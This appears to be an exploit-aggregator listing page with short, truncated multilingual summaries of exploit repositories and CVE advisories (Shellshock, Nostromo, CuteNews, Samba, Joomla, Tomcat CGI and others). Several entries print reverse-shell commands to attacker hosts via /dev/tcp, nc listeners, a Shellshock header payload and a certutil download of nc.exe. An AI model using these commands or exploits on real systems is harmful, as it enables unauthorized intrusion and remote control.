Shell-Shock

Shell Shock 作者 : [email protected] 维护者 : 部门 : DevOps 许可证 : 概述 Shell Shock : 特权提升，远程代码执行 Unix Bash Shell 中的一系列漏洞。允许执行任意命令。 利用向量 有效载荷 shellshock 用户代理 = User-Agent: :; ; rshell 载荷 = bash -i & /dev/tcp/127.0.0.1 rshell 重定向到监听器 = bash -i & /dev/tcp/$YOURIP:$PORT 技巧 设计 : 目的 : 内容 : 服务器 : 应用 : 数据库 :...

PrettyPrague

PrettyPrague GenDigital Avast Antivirus ゼロデイ権限昇格の脆弱性 アンチマルウェアベンダーにおけるもう一つのゼロデイ脆弱性です。確信はありませんが、この脆弱性は他のGenDigital製品（AVG、Nortonなど）にも影響する可能性があると考えています。 現時点では、PoCはAvast Antivirusの任意のバージョンと互換性があります。 このPoCは、Avast Sandboxの脆弱性を悪用してSAMデータベースをダンプし、完全なSYSTEMシェルを起動します。本稿執筆時点では、このPoCは完全にパッチ適用済みのAvast Antiviru...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE これは、Nostromo 1.9.6 RCE に対する CVE-2019-16278 のエクスプロイトです。このエクスプロイトにより、被害マシン上で RCE が可能になります。 要件 optparse socat sys 使用方法 以下のようにエクスプロイトを使用できます： root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i & /dev/tcp/10.10.16.42/443...

CVE-2025-55182

CVE-2025-55182 React2Shell エクスプロイトキット 🎯 完全動作するエクスプロイトデモ このプロジェクトは、CVE-2025-55182 React2Shell の完全に機能する デモを提供します。これは、React Server Components と Next.js における重大なリモートコード実行 RCE 脆弱性です。 ステータス: ✅ 動作確認済み - 脆弱なサーバー上で実際のコマンド実行を実現 🚀 含まれるもの 動作するエクスプロイトバイナリ 言語: Go 1.25.5 バイナリ: CVE-2025-55182 7.8MB コンパイル済み実行ファイル...

CVE-2026-36467

Unrestricted Upload of File with Dangerous Type in core/modules/media.php in CuteNews v.2.1.2 allows remote authenticated users with access to the Media Manager panel to execute arbitrary code in the context of the web application, leading to remote server access by triggering a reverse shell...

EUVD-2026-83989

Unrestricted Upload of File with Dangerous Type in core/modules/media.php in CuteNews v.2.1.2 allows remote authenticated users with access to the Media Manager panel to execute arbitrary code in the context of the web application, leading to remote server access by triggering a reverse shell...

CVE-2026-36467

The CuteNews v.2.1.2 application is vulnerable to an Unrestricted Upload of File with Dangerous Type within the core/modules/media.php component. This flaw allows remote authenticated users with access to the Media Manager panel to execute arbitrary code in the context of the web application. Suc...

CVE-2026-88745

The software EMLOG-Pro 2.6.29 is affected by a Cross-Site Scripting (XSS) vulnerability. This flaw allows attackers to execute malicious scripts, which can be leveraged to upload a malicious shell to the system. While the vulnerability requires user interaction, it poses a significant risk to the...

CVE-2026-36467

Unrestricted Upload of File with Dangerous Type in core/modules/media.php in CuteNews v.2.1.2 allows remote authenticated users with access to the Media Manager panel to execute arbitrary code in the context of the web application, leading to remote server access by triggering a reverse shell...

EulerOS Virtualization 2.10.1 : samba (EulerOS-SA-2026-3854)

According to the versions of the samba packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities : A flaw was found in the Samba printing subsystem. Samba passes the client-controlled job description string to the command configure...

CVE-2026-88745

EMLOG-Pro 2.6.29 contains a XSS vulnerability that enables attackers to upload a malicious shell...

CVE-2026-48172

📚 教育用セキュリティ研究リポジトリ 管理された環境でサイバーセキュリティの概念を学習、テスト、研究するためのリポジトリです。 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください： ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： root@kitploit: git clone https://github.com/HORKimhab/CVE-2026-48172 && cd CVE-2026-48172 cd lab docker compose up --build -d ...

cve-2018-9948-9958-exp

2018-9948-9958-exp "getshellcodefrommsf.py" は、msfvenom から shellcode を取得し、その出力を exp.pdf の 'calc' shellcode ブロックに置き換える Python スクリプトです。最後に動作します。おっと、これは tcp リバース shellcode です。 サンプルコードは次のようになります: python getshellcodefrommsf.py 192.168.1.79 1234...

CVE-2017-14187_PoC_ARMv7

CVE-2017-14187 PoC FortiOS 5.6.0 至 5.6.2、5.4.0 至 5.4.8 及 5.2 以下版本的本地权限提升概念验证 通过 fnsysctl 和 USB 触发（因此需要物理访问）。 此 PoC 通过利用 CVE-2017-14187 来生成本地 root shell。 分析文章 韩文 英文 TL;DR 1. fnsysctl cp /usb/payloadpathfile /etc/ld.so.preload 2. fnsysctl ls - LDPRELOAD 注入 - 任意代码执行 - LPE（受限 shell 逃逸） 从源码构建...

Samba-CVE-2007-2447-Exploit-Username-Map-Script

Samba CVE-2007-2447 Exploit（ユーザ名マップスクリプト） このリポジトリには、Sambaサーバ（バージョン3.0.20～3.0.25rc3）における脆弱性 CVE-2007-2447 の悪用を自動化するPythonスクリプトが含まれています。このツールは、教育目的 および許可された侵入テストのためにのみ開発されています。 📝 技術的・学術的説明 「ユーザ名マップスクリプト」 の脆弱性は、Samba設定で username map script オプションが有効になっている場合に、ユーザ名入力のサニタイズが欠如しているために発生します。シェルのメタ文字（バッククォ...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE root@kitploit: TheAlchimist による作成 cve-2023-27163-maltrail.py リバースシェル用...

CVE-2015-8562

CVE-2015-8562 - リバースシェル Python エクスプロイト: Joomla 1.5 - 3.4.5 オブジェクトインジェクション RCE X-Forwarded-For ヘッダー: root@kitploit: 脆弱性発見日: 2015年12月17日 エクスプロイト作成者: anarc0der バージョン: Joomla 1.5 から 3.4.5 CVE : CVE-2015-8562 使用方法: root@kitploit: ターミナルを1つ開き、ncで待ち受けます: $ nc -lnvp 4444 別のターミナルを開き、エクスプロイトを実行します: python3...

CVE-2019-0232

CGI RCE Exploit CGIバッチエンドポイントを介した認証なしRCEのPoC。certutilを使用してターゲットにnc.exeをダウンロードし、リバースシェルをトリガーします。 セットアップ 1. nc.exeを配信する nc.exeと同じディレクトリ内: root@kitploit: python3 -m http.server 80 2. リスナーを起動する: root@kitploit: nc -lvnp 1234 3. エクスプロイトを実行する: root@kitploit: python3 exploit.py \ --url http://:/cgi/.bat...

CVE-2022-37706-SUID

CVE-2022-37706-SUID CVE-2022-37706-Enlightenment v0.25.3 - 権限昇格 ./exploit.sh CVE-2022-37706 脆弱なSUIDファイルを探しています... これには数秒かかるかもしれません... + 脆弱なSUIDバイナリが見つかりました! + ルートシェルを取得しようとしています! + ルートシェルをお楽しみください : mount: /dev/../tmp/: /etc/fstab に見つかりません。 id uid=0root gid=0root groups=0root,4adm,1000...

CVE-2021-21220

まずインストール: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Chrome バージョン: 90.0.4403.0 chrome-win.zip をインストール 1. node server.js run ./chrome.exe --no-sandbox localhost:8888 にアクセス このエクスプロイトが依存しているCVEはCVE 2021-21220であることに注意してください。...